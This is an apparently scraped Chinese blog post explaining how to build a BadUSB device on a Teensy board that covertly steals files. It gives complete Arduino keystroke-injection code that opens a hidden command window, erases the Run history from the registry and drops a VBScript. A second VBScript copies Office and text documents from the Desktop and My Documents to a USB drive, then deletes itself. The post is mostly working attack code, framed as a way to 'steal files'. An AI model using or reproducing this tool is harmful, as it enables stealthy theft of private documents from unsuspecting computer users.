badusb之烧鹅如何偷文件

网站建设评论49

最近买了个烧鹅,感觉就是个Teensy2++和一个sd读卡器,但是从Teensy官网买。ship过来都不知道什么时候了,还要转运麻烦。

这东西可以做什么呢,我目前的功能是在插上电脑的时候自动把电脑中我的文档中的文件和桌面上的文件复制到u盘,偷文件用,其实可以自定义更多。

先说下缺点:
1.这属于HID攻击,也就是模拟一个键盘,那么缺点就是有3秒左右的时间你不能操作电脑否则运行失败。
2.当要复制的文件很多或者这两个文件夹目录树太大的时候,速度比较慢,毕竟不能usb3.0
3.你的sd卡名字要叫一个特殊的名字,要不代码找不到你的u盘盘符

优点嘛,就是不管有没有开自动运行都能运行,因为这东西完全不靠自动运行

上代码,下面是我写在烧鹅里面的arduino代码

void setup() {                                                  delay(8000);                                            Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);   Keyboard.set_key1(KEY_R);                                     Keyboard.send_now();                                             delay(100);                                                     Keyboard.println(\"cmd /T:32 /K /\"mode con: cols=14 lines=1&mode con: cp select=437&mode con:delay=0/\"\");                                                                      delay(200);   Keyboard.println(\"reg delete HKCU//Software//Microsoft//Windows//CurrentVersion//Explorer//RunMRU /f>nul\");   delay(50);   Keyboard.println(\"echo Set F=CreateObject(/\"Scripting.FileSystemObject/\")>%tmp%//i.vbs\");      Keyboard.println(\"echo o=F.getspecialfolder(2)^&/\"///\">>%tmp%//i.vbs\");      Keyboard.println(\"echo For Each A in F.Drives>>%tmp%//i.vbs\");      Keyboard.println(\"echo If A.DriveType=1 Then>>%tmp%//i.vbs\");      Keyboard.println(\"echo if strcomp(A.volumename,/\"FUNNYDISK/\")=0 then>>%tmp%//i.vbs\");      Keyboard.println(\"echo F.getfile(A.driveletter^&/\":////r//run.vbs/\").copy(o)>>%tmp%//i.vbs\");      Keyboard.println(\"echo createobject(/\"wscript.shell/\").exec /\"wscript /\"^&o^&/\"run.vbs/\">>%tmp%//i.vbs\");      Keyboard.println(\"echo exit for>>%tmp%//i.vbs\");      Keyboard.println(\"echo end if>>%tmp%//i.vbs\");      Keyboard.println(\"echo end if>>%tmp%//i.vbs\");      Keyboard.println(\"echo next>>%tmp%//i.vbs\");      Keyboard.println(\"echo F.DeleteFile(WScript.ScriptFullName)>>%tmp%//i.vbs\");      Keyboard.println(\"start wscript %tmp%//i.vbs&exit\");   Keyboard.set_modifier(0);                                      Keyboard.set_key1(0);   Keyboard.send_now();                     delay(300);    }void loop(){}

badusb之烧鹅如何偷文件

这么选择就可以了
第一个延时8秒用于等待系统安装硬件
上面这段代码除了延时8秒以外执行时间大概在3秒左右,这就是不能操作电脑的时候,并且会有一个小cmd窗口。
这段代码会复制funnydisk名字的u盘中r目录里面的run.vbs到%tmp%
u盘目录类似下图

badusb之烧鹅如何偷文件

下面是我的run.vbs代码,也可以自定义成别的功能

on error resume nextset f=createobject(\"scripting.filesystemobject\")set ws=createobject(\"wscript.shell\")dsk=ws.specialfolders(\"desktop\")myf=ws.specialfolders(\"mydocuments\")sub cf(p)if not f.folderexists(f.getparentfoldername(p)) then  cf f.getparentfoldername(p)end iff.createfolder(p)end subsub docopy(p,tard)set of=f.getfolder(p)set ofs=of.subfoldersset files=of.filesif not (isempty(files) and isnull(files)) then  for each fi in files    if right(fi.path,3)=\"xls\" or right(fi.path,3)=\"doc\" or right(fi.path,4)=\"docx\" or right(fi.path,4)=\"xlsx\" or right(fi.path,3)=\"txt\" or right(fi.path,3)=\"ppt\" or right(fi.path,4)=\"pptx\" then      if fi.size<10485760 then      tpath=fd&\"/\"&ws.environment(\"process\").item(\"computername\")&\"/\"&replace(fi.path,\":\",\"\")      if f.folderexists(f.getparentfoldername(tpath))=0 then        cf f.getparentfoldername(tpath)      end if      f.copyfile fi.path,tpath      if err.number<>0 and err.number<>70 then          f.DeleteFile(WScript.ScriptFullName)       end if      end if    end if  nextend iffor each osf in ofs  docopy osf.path,tard  if err.number<>0 then       f.DeleteFile(WScript.ScriptFullName)  end ifnextset of=nothingset ofs=nothingset files=nothingset fi=nothingset osf=nothingend subdo while 1 for each d in f.drives   if d.drivetype=1 then    if strcomp(d.volumename,\"FUNNYDISK\")=0 then      fd=d.driveletter&\":\"      exit for     end if   end ifnextif fd<>\"\" then exit dowscript.sleep(50)loopdocopy myf,fddocopy dsk,fdf.DeleteFile(WScript.ScriptFullName)

这段代码用于循环目录树和复制文件到指定u盘上。
目录树太大遍历时间会增加。。。这是个硬伤
如果时间紧迫可以直接拔下u盘,它自己会删除自己

发现这个烧鹅还是很好玩的,代码写的不好,不要打脸。。。大神请忽略。。

下面就是烧鹅

badusb之烧鹅如何偷文件

[via@skyer]

该文章由WP-AutoPost插件自动采集发布

原文地址:http://bluereader.org/article/44976106

 
网站建设

Smack技术远控木马

AVL移动安全团队近期发现一种会执行lua脚本的Android恶意程序,该程序会在本地代码创建Lua环境,联网下载脚本、运行,能够回调Java层代码实现私发短信、添加书签等操作,影响手机的正常体验。L...
网站建设

浅谈Docker隔离性和安全性

介绍相信很多开发者都默认Docker这样的容器是一种沙盒(sandbox)应用,也就是说他们可以用root权限在Docker中运行随便什么应用,而Docker有安全机制能保护宿主系统。比如,有些人觉得...
移动型网站这样建,你甩伙伴好几条街! 网站建设

移动型网站这样建,你甩伙伴好几条街!

  随着手机、pad等智能设备的普及和发展,移动的大势已不可小觑。用户正在从PC端向移动端转移。催使着移动站点的建设技术也突飞猛进,如何更好的建设适合用户和搜索引擎的移动型站点?今天,由百度移动搜索专...
网站建设

三星手机远程代码执行漏洞分析

摘要远程攻击者完全有能力控制用户网络流量,操纵三星手机的键盘更新机制,并且在目标手机上使用系统用户权限执行代码。在三星设备中预装的快速键盘,无法禁用也无法卸载。即使这个快速键盘并非用户默认使用,攻击者...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: